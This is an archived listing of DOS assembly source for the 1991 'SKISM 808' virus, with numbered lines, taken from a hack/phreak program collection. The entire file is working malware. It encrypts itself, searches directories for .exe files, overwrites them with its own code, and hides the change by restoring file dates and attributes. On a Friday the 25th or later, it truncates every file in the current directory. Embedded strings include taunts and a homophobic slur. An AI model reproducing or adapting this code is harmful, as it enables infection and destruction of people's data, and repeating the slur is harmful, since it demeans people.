home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / 808.ASM < prev    next >
Assembly Source File  |  1991-12-01  |  11KB  |  306 lines

  1.  
  2. ;tHE sKISM 808 vIRUS.  cREATED 1991 BY sMART kIDS iNTO sICK mETHODS.
  3.  
  4.  
  5.  
  6. FILENAME   equ      30                 ;USED TO FIND FILE NAME
  7. FILEATTR   equ      21                 ;USED TO FIND FILE ATTRIBUTES
  8. FILEDATE   equ      24                 ;USED TO FIND FILE DATE
  9. FILETIME   equ      22                 ;USED TO FIND FILE TIME
  10.  
  11.  
  12.  
  13. CODE_START equ      0100H              ;START OF ALL .com FILES
  14. VIRUS_SIZE equ      808                ;tr 808
  15.  
  16.  
  17. CODE     SEGMENT  'CODE'
  18. ASSUME   CS:CODE,DS:CODE,ES:CODE
  19.          ORG      CODE_START
  20.  
  21. MAIN PROC   NEAR
  22.  
  23. JMP    VIRUS_START
  24.  
  25. ENCRYPT_VAL    DB     00H
  26.  
  27. VIRUS_START:
  28.  
  29.      CALL     ENCRYPT                  ;ENCRYPT/DECRYPT FILE
  30.      JMP      VIRUS                    ;GO TO START OF CODE
  31.  
  32. ENCRYPT:
  33.  
  34.      PUSH     CX
  35.      MOV      BX,OFFSET VIRUS_CODE     ;START ENCRYPTION AT DATA
  36.  
  37. XOR_LOOP:
  38.  
  39.      MOV      CH,[BX]                  ;READ CURRENT BYTE
  40.      XOR      CH,ENCRYPT_VAL           ;GET ENCRYPTION KEY
  41.      MOV      [BX],CH                  ;SWITCH BYTES
  42.      INC      BX                       ;MOVE BX UP A BYTE
  43.      CMP      BX,OFFSET VIRUS_CODE+VIRUS_SIZE
  44.                                        ;ARE WE DONE WITH THE ENCRYPTION
  45.      JLE      XOR_LOOP                 ;NO?  KEEP GOING
  46.      POP      CX
  47.      RET
  48.  
  49.  
  50. INFECTFILE:
  51.  
  52.      MOV     DX,CODE_START             ;WHERE VIRUS STARTS IN MEMORY
  53.      MOV     BX,HANDLE                 ;LOAD BX WITH HANDLE
  54.      PUSH    BX                        ;SAVE HANDLE ON STACK
  55.      CALL    ENCRYPT                   ;ENCRYPT FILE
  56.      POP     BX                        ;GET BACK BX
  57.      MOV     CX,VIRUS_SIZE             ;NUMBER OF BYTES TO WRITE
  58.      MOV     AH,40H                    ;WRITE TO FILE
  59.      INT     21H                       ;
  60.      PUSH    BX
  61.      CALL    ENCRYPT                   ;FIX UP THE MESS
  62.      POP     BX
  63.      RET
  64.  
  65. VIRUS_CODE:
  66.  
  67. WILDCARDS    DB     "*",0              ;SEARCH FOR DIRECTORY ARGUMENT
  68. FILESPEC     DB     "*.exe",0          ;SEARCH FOR exe FILE ARGUMENT
  69. FILESPEC2    DB     "*.*",0
  70. ROOTDIR      DB     "\",0              ;ARGUMENT FOR ROOT DIRECTORY
  71. DIRDATA      DB     43 DUP (?)         ;HOLDS DIRECTORY dta
  72. FILEDATA     DB     43 DUP (?)         ;HOLDS FILES dta
  73. DISKDTASEG   DW     ?                  ;HOLDS DISK DTA SEGMENT
  74. DISKDTAOFS   DW     ?                  ;HOLDS DISK DTA OFFSET
  75. TEMPOFS      DW     ?                  ;HOLDS OFFSET
  76. TEMPSEG      DW     ?                  ;HOLDS SEGMENT
  77. DRIVECODE    DB     ?                  ;HOLDS DRIVE CODE
  78. CURRENTDIR   DB     64 DUP (?)         ;SAVE CURRENT DIRECTORY INTO THIS
  79. HANDLE       DW     ?                  ;HOLDS FILE HANDLE
  80. ORIG_TIME    DW     ?                  ;HOLDS FILE TIME
  81. ORIG_DATE    DW     ?                  ;HOLDS FILE DATE
  82. ORIG_ATTR    DW     ?                  ;HOLDS FILE ATTR
  83. IDBUFFER     DW     2 DUP  (?)         ;HOLDS VIRUS ID
  84.  
  85. VIRUS:
  86.  
  87.       MOV    AX,3000H                  ;GET DOS VERSION
  88.       INT    21H                       ;
  89.       CMP    AL,02H                    ;IS IT AT LEAST 2.00?
  90.       JB     BUS1                      ;WON'T INFECT LESS THAN 2.00
  91.       MOV    AH,2CH                    ;GET TIME
  92.       INT    21H                       ;
  93.       MOV    ENCRYPT_VAL,DL            ;SAVE M_SECONDS TO ENCRYPT VAL SO
  94.                                        ;THERES 100 MUTATIONS POSSIBLE
  95. SETDTA:
  96.  
  97.      MOV     DX,OFFSET DIRDATA         ;OFFSET OF WHERE TO HOLD NEW DTA
  98.      MOV     AH,1AH                    ;SET DTA ADDRESS
  99.      INT     21H                       ;
  100.  
  101. NEWDIR:
  102.  
  103.      MOV     AH,19H                    ;GET DRIVE CODE
  104.      INT     21H                       ;
  105.      MOV     DL,AL                     ;SAVE DRIVECODE
  106.      INC     DL                        ;ADD ONE TO DL, BECAUSE FUNCTIONS DIFFER
  107.      MOV     AH,47H                    ;GET CURRENT DIRECTORY
  108.      MOV     SI, OFFSET CURRENTDIR     ;BUFFER TO SAVE DIRECTORY IN
  109.      INT     21H                       ;
  110.  
  111.      MOV     DX,OFFSET ROOTDIR         ;MOVE DX TO CHANGE TO ROOT DIRECTORY
  112.      MOV     AH,3BH                    ;CHANGE DIRECTORY TO ROOT
  113.      INT     21H                       ;
  114.  
  115. SCANDIRS:
  116.  
  117.      MOV     CX,13H                    ;INCLUDE HIDDEN/RO DIRECTORYS
  118.      MOV     DX, OFFSET WILDCARDS      ;LOOK FOR '*'
  119.      MOV     AH,4EH                    ;FIND FIRST FILE
  120.      INT     21H                       ;
  121.      CMP     AX,12H                    ;NO FIRST FILE?
  122.      JNE     DIRLOOP                   ;NO DIRS FOUND? BAIL OUT
  123.  
  124. BUS1:
  125.  
  126.       JMP    BUS
  127.  
  128. DIRLOOP:
  129.  
  130.      MOV     AH,4FH                    ;FIND NEXT FILE
  131.      INT     21H                       ;
  132.      CMP     AX,12H
  133.      JE      BUS                       ;NO MORE DIRS FOUND, ROLL OUT
  134.  
  135. CHDIR:
  136.  
  137.      MOV     DX,OFFSET DIRDATA+FILENAME;POINT DX TO FCB - FILENAME
  138.      MOV     AH,3BH                    ;CHANGE DIRECTORY
  139.      INT     21H                       ;
  140.  
  141.      MOV     AH,2FH                    ;GET CURRENT DTA ADDRESS
  142.      INT     21H                       ;
  143.      MOV     [DISKDTASEG],ES           ;SAVE OLD SEGMENT
  144.      MOV     [DISKDTAOFS],BX           ;SAVE OLD OFFSET
  145.      MOV     DX,OFFSET FILEDATA        ;OFFSET OF WHERE TO HOLD NEW DTA
  146.      MOV     AH,1AH                    ;SET DTA ADDRESS
  147.      INT     21H                       ;
  148.  
  149. SCANDIR:
  150.  
  151.      MOV     CX,07H                    ;FIND ANY ATTRIBUTE
  152.      MOV     DX,OFFSET FILESPEC        ;POINT DX TO "*.com",0
  153.      MOV     AH,4EH                    ;FIND FIRST FILE FUNCTION
  154.      INT     21H                       ;
  155.      CMP     AX,12H                    ;WAS FILE FOUND?
  156.      JNE     TRANSFORM
  157.  
  158. NEXTEXE:
  159.  
  160.      MOV     AH,4FH                    ;FIND NEXT FILE
  161.      INT     21H                       ;
  162.      CMP     AX,12H                    ;NONE FOUND
  163.      JNE     TRANSFORM                 ;FOUND SEE WHAT WE CAN DO
  164.  
  165.      MOV     DX,OFFSET ROOTDIR         ;MOVE DX TO CHANGE TO ROOT DIRECTORY
  166.      MOV     AH,3BH                    ;CHANGE DIRECTORY TO ROOT
  167.      INT     21H                       ;
  168.      MOV     AH,1AH                    ;SET DTA ADDRESS
  169.      MOV     DS,[DISKDTASEG]           ;RESTORE OLD SEGMENT
  170.      MOV     DX,[DISKDTAOFS]           ;RESTORE OLD OFFSET
  171.      INT     21H                       ;
  172.      JMP     DIRLOOP
  173.  
  174.  
  175. BUS:
  176.  
  177.      JMP     ROLLOUT
  178.  
  179. TRANSFORM:
  180.  
  181.      MOV     AH,2FH                    ;TEMPORALLY STORE DTA
  182.      INT     21H                       ;
  183.      MOV     [TEMPSEG],ES              ;SAVE OLD SEGMENT
  184.      MOV     [TEMPOFS],BX              ;SAVE OLD OFFSET
  185.      MOV     DX, OFFSET FILEDATA + FILENAME
  186.  
  187.      MOV     BX,OFFSET FILEDATA               ;SAVE FILE...
  188.      MOV     AX,[BX]+FILEDATE          ;DATE
  189.      MOV     ORIG_DATE,AX              ;
  190.      MOV     AX,[BX]+FILETIME          ;TIME
  191.      MOV     ORIG_TIME,AX              ;    AND
  192.      MOV     AX,[BX]+FILEATTR          ;
  193.      MOV     AX,4300H
  194.      INT     21H
  195.      MOV     ORIG_ATTR,CX
  196.      MOV     AX,4301H                  ;CHANGE ATTRIBUTES
  197.      XOR     CX,CX                     ;CLEAR ATTRIBUTES
  198.      INT     21H                       ;
  199.      MOV     AX,3D00H                  ;OPEN FILE - READ
  200.      INT     21H                       ;
  201.      JC      FIXUP                     ;ERROR - FIND ANOTHER FILE
  202.      MOV     HANDLE,AX                 ;SAVE HANDLE
  203.      MOV     AH,3FH                    ;READ FROM FILE
  204.      MOV     BX,HANDLE                 ;MOVE HANDLE TO BX
  205.      MOV     CX,02H                    ;READ 2 BYTES
  206.      MOV     DX,OFFSET IDBUFFER        ;SAVE TO BUFFER
  207.      INT     21H                       ;
  208.  
  209.      MOV     AH,3EH                    ;CLOSE FILE FOR NOW
  210.      MOV     BX,HANDLE                 ;LOAD BX WITH HANDLE
  211.      INT     21H                       ;
  212.  
  213.      MOV     BX, IDBUFFER              ;FILL BX WITH ID STRING
  214.      CMP     BX,02EBH                  ;INFECTED?
  215.      JNE     DOIT                      ;SAME - FIND ANOTHER FILE
  216.  
  217.  
  218. FIXUP:
  219.      MOV     AH,1AH                    ;SET DTA ADDRESS
  220.      MOV     DS,[TEMPSEG]              ;RESTORE OLD SEGMENT
  221.      MOV     DX,[TEMPOFS]              ;RESTORE OLD OFFSET
  222.      INT     21H                       ;
  223.      JMP     NEXTEXE
  224.  
  225.  
  226. DOIT:
  227.  
  228.      MOV     DX, OFFSET FILEDATA + FILENAME
  229.      MOV     AX,3D02H                  ;OPEN FILE READ/WRITE ACCESS
  230.      INT     21H                       ;
  231.      MOV     HANDLE,AX                 ;SAVE HANDLE
  232.  
  233.      CALL    INFECTFILE
  234.  
  235.      ;MOV     AX,3EH                    ;CLOSE FILE
  236.      ;INT     21H
  237.  
  238. ROLLOUT:
  239.  
  240.      MOV     AX,5701H                  ;RESTORE ORIGINAL
  241.      MOV     BX,HANDLE                 ;
  242.      MOV     CX,ORIG_TIME              ;TIME AND
  243.      MOV     DX,ORIG_DATE              ;DATE
  244.      INT     21H                       ;
  245.  
  246.      MOV     AX,4301H                  ;RESTORE ORIGINAL ATTRIBUTES
  247.      MOV     CX,ORIG_ATTR
  248.      MOV     DX,OFFSET FILEDATA + FILENAME
  249.      INT     21H
  250.      ;MOV     BX,HANDLE
  251.      ;MOV     AX,3EH                   ;CLOSE FILE
  252.      ;INT     21H
  253.      MOV     AH,3BH                    ;TRY TO FIX THIS
  254.      MOV     DX,OFFSET ROOTDIR         ;FOR SPEED
  255.      INT     21H                       ;
  256.      MOV     AH,3BH                    ;CHANGE DIRECTORY
  257.      MOV     DX,OFFSET CURRENTDIR      ;BACK TO ORIGINAL
  258.      INT     21H                       ;
  259.      MOV     AH,2AH                    ;CHECK SYSTEM DATE
  260.      INT     21H                       ;
  261.      CMP     CX,1991                   ;IS IT AT LEAST 1991?
  262.      JB      AUDI                      ;NO? DON'T DO IT NOW
  263.      CMP     DL,25                     ;IS IT THE 25TH?
  264.      JB      AUDI                      ;NOT YET? QUIT
  265.      CMP     AL,5                      ;IS fRIDAY?
  266.      JNE     AUDI                      ;NO? QUIT
  267.      MOV     DX,OFFSET DIRDATA         ;OFFSET OF WHERE TO HOLD NEW DTA
  268.      MOV     AH,1AH                    ;SET DTA ADDRESS
  269.      INT     21H                       ;
  270.      MOV     AH,4EH                    ;FIND FIRST FILE
  271.      MOV     CX,7H                     ;
  272.      MOV     DX,OFFSET FILESPEC2       ;OFFSET *.*
  273.  
  274. lOOPS:
  275.  
  276.      INT     21H                       ;
  277.      JC      AUDI                      ;ERROR? THEN QUIT
  278.      MOV     AX,4301H                  ;FIND ALL NORMAL FILES
  279.      XOR     CX,CX                     ;
  280.      INT     21H                       ;
  281.      MOV     DX,OFFSET DIRDATA + FILENAME
  282.      MOV     AH,3CH                    ;FUCK UP ALL FILES IN CURRENT DIR
  283.      INT     21H                       ;
  284.      JC      AUDI                      ;ERROR? QUIT
  285.      MOV     AH,4FH                    ;FIND NEXT FILE
  286.      JMP     LOOPS                     ;
  287.  
  288. AUDI:
  289.  
  290.      MOV     AX,4C00H                  ;END PROGRAM
  291.      INT     21H                       ;
  292.  
  293. ;tHE BELOW IS JUST TEXT TO PAD OUT THE VIRUS SIZE TO 808 BYTES.  dON'T
  294. ;JUST CHANGE THE TEXT AND CLAIM THAT THIS IS YOUR CREATION.
  295.  
  296.  
  297. WORDS_   DB   "sKISM rYTHEM sTACK vIRUS-808. sMART kIDS iNTO sICK mETHODS",0
  298. WORDS2   DB   "  dONT ALTER THIS CODE INTO YOUR OWN STRAIN, FAGGIT.      ",0
  299. WORDS3   DB   "  hr/sss nycITY, THIS IS THE FIFTH OF MANY, MANY MORE....",0
  300. WORDS4   DB   "  yOU SISSYS.....",0
  301.  
  302. MAIN     ENDP
  303. CODE     ENDS
  304.          END      MAIN
  305.  
  306.